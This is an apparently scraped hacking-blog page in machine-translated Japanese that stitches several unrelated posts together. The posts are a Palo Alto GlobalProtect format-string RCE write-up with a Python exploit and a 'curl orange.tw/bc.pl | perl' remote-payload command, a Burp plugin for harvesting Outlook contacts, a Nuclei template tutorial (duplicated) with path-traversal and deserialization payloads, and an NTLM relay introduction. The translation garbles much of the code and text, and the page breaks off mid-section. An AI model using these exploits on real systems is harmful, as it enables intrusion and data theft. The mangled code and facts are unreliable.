Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112553

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

SSL VPNはインターネット攻撃のリスクからエンタープライズ資産を保護できますが、SSL VPN自体が攻撃に対して脆弱である場合はどうなりますか?それらはインターネットにさらされており、イントラネットに確実に安全に接続できます。 SSL VPNサーバーが侵害されると、攻撃者はイントラネットに侵入し、SSL-VPNサーバーに接続されたすべてのユーザーを引き継ぐことさえできます!その重要性のため、過去数か月にわたって、安全な主要なSSL VPN製品に関するセキュリティ調査を開始しました。

結果を3つの記事に公開する予定です。私たちはこの記事を最初の記事とみなします。なぜなら、それは興味深い話だと思うので、Black Hat USANDDEFCONに最適だと思うからです。

NSAのような侵入エンタープライズイントラネット - 安全な主要なSSL VPNでRCEを実行する

ネタバレについて心配しないでください。この物語はBhusa/defconセッションに含まれていません。

今後のデモでは、より多くのコアエクスプロイトとクレイジーなバグチェーンを提供して、SSL VPNをハックします。デバイスと焦点を当てる攻撃ベクトルの脱却方法から。また、露出した唯一のHTTPSポートからルートシェルを取得し、サーバーを所有者に対して密かに武器化し、すべてのVPNクライアントを引き継ぐために隠された機能を悪用します。それを楽しみにしています;)

0x01ストーリーの始まり

この記事では、Palo Alto SSL VPNの脆弱性について説明します。 Palo Altoは、SSL VPN Product GlobalProtectを呼び出します。 302 Redirect to /global-protect/login.esp Web Root Directoryを使用して、GlobalPortectサービスを簡単に識別できます。

この脆弱性に関して、私たちはRedチーム評価サービス中に誤って発見しました。最初は、0日だと思いました。ただし、GlobalProtectの最新バージョンのリモートサーバーでは、繁殖が失敗しました。それで、私たちはこれが既知の脆弱性であるかどうか疑問に思い始めました。

インターネットで検索しましたが、それに関する情報は見つかりませんでした。 [1]以前は、公的なRCEの悪用はなく、公式の協議に同様の情報も含まれておらず、CVEも含まれていませんでした。

CVE-2017-15944および@U Fel1xによる優れたTroppers16論文など、以前のPAN-OS管理インターフェイスにはいくつかの脆弱性がありましたが、残念ながら、GlobalProtectとManagement InterfaceはLANポートのみを公開したことに言及していませんでした。

0x02バグ

このバグは非常に簡単です。これは、認証なしの単純な形式の文字列の脆弱性です! SSLMGRは、サーバーとクライアントの間のSSLハンドシェイクを処理するSSLゲートウェイです。デーモンはnginx逆プロキシによってプロキシ化されており、Path /sslmgrを介してアクセスできます。

$ curl https://global-protect/sslmgr

?xmlバージョン='1.0'エンコード='utf-8'?

ClientCert-Response

StatusError/ステータス

msginvalidパラメーター/msg

/clientCert-Response

パラメーター抽出中、デーモンは文字列scep-profile-nameを検索し、バッファーを埋めるためにSnprintf形式としてその値を渡します。これにより、フォーマット文字列が攻撃されます。 %nを使用できます!サービスをクラッシュさせる!

POST /SSLMGR HTTP /1.1

HOST: Global-Protect

Content-Length: 36

scep-profile-name=%n%n%n%n%n%n%n .

0x03影響バージョン

私たちの調査によると、2018年7月までにGlobalProtectは非常に脆弱です!以下は、インパクトバージョン:のリストです

Palo Alto GlobalProtect SSL VPN 7.1.x 7.1.19

Palo Alto GlobalProtect SSL VPN 8.0.x 8.0.12

Palo Alto GlobalProtect SSL VPN 8.1.x 8.1.3

9.xおよび7.0.xシリーズは、この脆弱性の影響を受けません。

0x04バグを確認する方法

バグがどこにあるかはわかっていますが、脆弱性を検証するのはまだ容易ではありません。このフォーマット文字列には出力がないため、バグを検証するために漏れたアドレスを取得することはできません。クラッシュサービスは決して私たちの最初の選択ではありません[1]。サービスのクラッシュを避けるために、システムの通常の動作に影響を与えることなく脆弱性を検証する方法を見つける必要があります!

SNPRINTFマニュアルを読むことで、ガジェットとして%Cを選択しました! %99999999Cなどのフォーマット前に数がある場合、SNPRINTFは対応する時間を内部で繰り返し要求します。この脆弱性を確認するために、多数の繰り返しの応答時間を観察します!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr/dev/null

REAL 0M1.721S

ユーザー0M0.037S

SYS 0M0.005S

$ time curl -s -d 'scep-profile-name=%99999999c' https://Global-protect/sslmgr/dev/null

REAL 0M2.051S

ユーザー0M0.035S

SYS 0M0.012S

$ time curl -s -d 'scep-profile-name=%9999999999c' https://global-protect/sslmgr/dev/null

REAL 0M5.324S

ユーザー0M0.021S

SYS 0M0.018S

ご覧のとおり、%cの数とともに応答時間が増加します。したがって、時差から、脆弱なSSL-VPNを正確に識別できます!

SSLMGRデーモンを監視する監視プログラムがありますが、クラッシュサービスにはまだ適していません!

0x05利用

バグを確認することができたら、簡単に活用できます。バイナリファイルを正常に利用するには、最初に詳細なバージョンを決定する必要があります。バージョン8.xおよび/images/logo_pan_158.gif forバージョン7.xおよび/images/logo_pan_158.gifのバージョン8.xおよび/images/logo_pan_158.gifなど、/global protect/css/login.cssなど、ラスト修飾ヘッダーで区別できます。

$ CURL -S -I https://SSLVPN/GLOBAL -PROTECT/PORTAL/CSS/LOGIN.CSS |グレップラスト修飾

LAST-MODIFIED: SUN、2017年9月10日16:48:23 GMT

指定されたバージョンを使用して、独自の脆弱性を書くことができます。 Strlenのポインターを、システムのプログラムリンクテーブル(PLT)にグローバルオフセットテーブル(GOT)に変更するだけです。これがそのPOCです:

#!/usr/bin/python

リクエストをインポートします

PWNインポートから *

url='https://sslvpn/sslmgr'

cmd='echo pwned /var/appweb/sslvpndocs/hacked.txt'

strlen_got=0x667788#私を変更します

System_plt=0x445566#私を変更します

fmt='%70 $ n'

fmt +='%' + str((system_plt16)0xff) + 'c'

fmt +='%32 $ hn'

fmt +='%' + str((system_plt0xffff) - ((system_plt16)0xff) + 'c'

fmt +='%24 $ hn'

範囲のI(40,60):

fmt+='%'+str(i)+'$ p'

data='scep-profile-name='

データ +=P32(strlen_got)[:-1]

data +='appauthcookie='

データ +=P32(strlen_got +2)[:-1]

data +='host-id='

データ +=P32(strlen_got +4)[:-1]

data +='user-email='

データ +=fmt

data +='appauthcookie='

データ +=cmd

r=requests.post(url、data=data)

変更が完了すると、SSLMGRがWebShellになります。次の方法でコマンドを実行できます。

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | Perl- 'https://Global -protect/sslmgr

このバグをパロアルトヴィアに報告しました。ただし、次の回答が得られました。

こんにちはオレンジ、

提出してくれてありがとう。 Palo Alto Networksは、外部の研究者によって私たちに報告されているセキュリティの脆弱性の調整された脆弱性の開示に従います。内部的および修正されたアイテムはありません。この問題は以前に修正されていましたが、現在のバージョンで何かを見つけた場合は、お知らせください。

0x06ケーススタディ

これが0日ではないことに気付いた後、世界中のすべてのパロアルトSSL VPNを見て、脆弱なグローバルプロテクトを使用している大企業があるかどうかを確認しました。調査によると、Uberは世界中でGlobalProtectを実行している約22のサーバーを持っています。ここでは、vpn.awscorp.uberinternal.comを例として取ります!

ドメイン名から判断すると、UberはAWS MarketplaceのBYOLを使用していると思います。ログインページから判断すると、Uberは8.xバージョンを使用しているようで、概要ページでサポートされているバージョンのリストから可能なターゲットバージョンを見つけることができます。

8.0.3

8.0.6

8.0.8

8.0.9

8.1.0

最後に、バージョンを見つけました。それは8.0.6で、シェルを手に入れました!

ippuukbcmwp7990.png

:https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-part-1-on-on-palo-alto-alto-globalprotect-with-uber-as-case-study/

0x01はじめに

これは、Outlookユーザー情報の収集のためのげっぷプラグインです。 Outlookアカウントにログインした後、これを使用できます。

プラグインは、すべての連絡先情報を自動的にクロールします

0x02インストール

バープエクステンションパネルに瓶をロードするだけ

0x03関数はじめに

1.すべてのユーザー

プラグインをロードした後、Outlook連絡先パネルを入力して、すべてのユーザーをクリックします

1049983-20230217095754648-934138006.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=findpeopleapp=people

1049983-20230217095755615-1407529720.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095756527-258145748.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095757297-634296044.png

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095758096-92972468.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザーメールを取得してすべてのメールを取得します。

1049983-20230217095758848-1201452255.jpg 1049983-20230217095759742-1384183711.jpg

2。注意

このAPIには、同じURLと異なるポスト提出パラメーターが多数あります。間違ったAPIインターフェイスを選択すると、ポップアッププロンプトがあります。

1049983-20230217095800733-584994050.jpg 1049983-20230217095801761-820625906.jpg 010-10すべてのユーザーのすべてのパケットは、正常に使用するためにロードする必要があります。連絡先情報は、すべてのユーザーパケット情報に基づいています。最初のステップが実行されない場合、ポップアップリマインダーがあります。

1049983-20230217095802597-563015457.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=getpersonaapp=people

1049983-20230217095803597-1431839783.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095804404-1030562578.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095805256-542719959.jpg

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095806159-1229654401.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザー個人情報を取得してすべての連絡先情報を取得します。

1049983-20230217095807230-1070577141.jpg 1049983-20230217095808001-189242314.jpg取得するツール:公式アカウント返信キーワード「Outlook」

1。スクリプトの構文形式

ケース感度

インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト:短い水平線を使用して、リスト内のアイテムを表します。

コメント:#から始まる行はコメントです。

文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前:テンプレート名、この提案はIDと同じです

重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード#テンプレートの一意の識別子

info:#名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:#ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'

Headers: #Requestヘッダー

user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス#マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}:これはランダムな文字列です。

{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}:example.comなどのホスト名を表します。

{{port}}:ポート番号、たとえば443を示します。

{{path}}: /seeyon /loginなどのパスを表します。

{{file}}:bar.phpなどのファイル名を表します。

{{Scheme}}:HTTPSなどのプロトコルを表します。

{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。

MD5():これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex

#次の設定は基本的に一般的です(!注:DSLタイプを除く)

PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または#match結果論理操作と| or

ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:#Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ(注:ボディデータを参照)intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

1。スクリプトの構文形式

ケース感度

インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト:短い水平線を使用して、リスト内のアイテムを表します。

コメント:#から始まる行はコメントです。

文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前:テンプレート名、この提案はIDと同じです

重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード#テンプレートの一意の識別子

info:#名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:#ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'

Headers: #Requestヘッダー

user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス#マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}:これはランダムな文字列です。

{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}:example.comなどのホスト名を表します。

{{port}}:ポート番号、たとえば443を示します。

{{path}}: /seeyon /loginなどのパスを表します。

{{file}}:bar.phpなどのファイル名を表します。

{{Scheme}}:HTTPSなどのプロトコルを表します。

{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。

MD5():これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex

#次の設定は基本的に一般的です(!注:DSLタイプを除く)

PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または#match結果論理操作と| or

ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:#Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ(注:ボディデータを参照)intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

0x00はじめに

FOX-ITでは、企業組織で発生する一般的なセキュリティリスクを顧客に理解させることができます。攻撃者がNT LANマネージャー認証プロトコル(以下、NTLM認証と呼ばれる)を活用できる場合、このプロトコルは通常Microsoft Active Directoryで有効にされているという資格的再利用のリスクがあります。 NTLM認定の不安は15年以上前から存在しています。このプロトコルは、被害者の資格を予想とは異なるサービスに転送することにより、被害者の資格を乱用する「リレー」として知られるプロセスを通じて、被害者のセッションをハイジャックすることにより乱用することができます。多くの場合、NTLM認証は、デフォルトの認証方法でより安全なKerberosに置き換えられていても、デフォルトで依然としてサポートおよび有効になっています。

この記事では、有名なSMBRELAYXツールのFOX IT拡張機能であるNTLMRELAYXを使用して、LDAP、IMAP、およびMSSQLに資格情報をリレーする方法を示します。そのような攻撃から守るために:

可能であれば、NTLMをエンタープライズ組織内で完全に無効にし、Kerberosに切り替えます。

NTLMを無効にすることができない場合は、資格の再利用のリスクを減らすために、この記事で説明した設定とガイドラインを参照してください。

0x01 ntlmリレーの簡単な説明

NTLM認証は、チャレンジ応答プロトコルです。課題- 応答プロトコルは、共通の共有秘密(この場合はユーザーパスワード)を使用してクライアントを認証します。サーバーは質問を送信し、クライアントは質問の回答に応答します。チャレンジがサーバーによって計算された課題と一致する場合、認証は受け入れられます。 NTLM認証は複雑なプロトコルであり、ここでは簡単な説明です。非常に詳細な説明は、http://davenport.sourceforge.net/ntlm.htmlにあります。

1.NTLM認証プロセス

NTLM認証プロトコルには3つのステップがあります。

ネゴシエート認証:NTLM認証の最初のステップは、プロトコルネゴシエーションであり、クライアントがサポートする機能です。この段階では、クライアントが受け入れたNTLMバージョンを含む、クライアントがサーバーに認証要求を送信します。

サーバーの課題:サーバーは、受け入れるNTLMバージョンと使用したい機能を示す独自のメッセージに応答します。このメッセージには、認証に重要な「チャレンジ」値も含まれています。

認証応答:クライアントは、チャレンジに基づいて応答を返し、属するドメインのユーザー名とパスワードを含みます。

3つのメッセージと対話した後、サーバーは認証が成功しているか、認証が失敗したことを示すメッセージに返信します。クライアントとサーバーの間のセッションは、使用されるプロトコルに従って認証されました。このプロセスは、次の図に示されています。

vzwwp1fjiu18058.png

2。 NTLMの乱用

攻撃者として、クライアントをハイジャックして攻撃者に接続できる場合、このプロセスは乱用される場合があります。これを行う方法については、次のセクションで説明します。攻撃者が認証された接続されたクライアントを持っていると、チャレンジ応答サイクルが完了するまで、クライアントとサーバーの間のサーバーに3つのメッセージを簡単に転送できます。

uumtoloyq0p8059.png

接続が認証されている場合、攻撃者は単にクライアントにエラーメッセージを送信するか、切断することができます。攻撃者は、セッションを使用して、リレー認証ユーザーからサーバーと対話できます。

3。Cross-Protocol(Cross)Relay

NTLM認証は他のプロトコルにカプセル化されていますが、メッセージは上部プロトコルに関係なく同じです。これにより、他のプロトコルでNTLMメッセージを使用できます。たとえば、HTTPで認証するクライアントは、「承認」ヘッダーにNTLM認証メッセージを送信します。攻撃者は、これらのメッセージをHTTPヘッダーから引き出し、SMBなどの他のプロトコルで使用できます。

NTLMは、SMB、HTTP(S)、LDAP、IMAP、SMTP、POP3、MSSQLなどのさまざまなプロトコルでサポートされています。

4。リレートラフィックを取得

まだ説明されていないもう1つのことは、実際のサーバーではなく、クライアントを攻撃者に接続する方法です。信頼できるトラフィックを取得するには、いくつかの方法があります。

安全でない方法でIPを解決するホストへのトラフィック

自己発見プロトコルの乱用によって引き起こされるトラフィック

中間の攻撃を通じて獲得されたトラフィック

4。安全でない名前解像度プロトコル

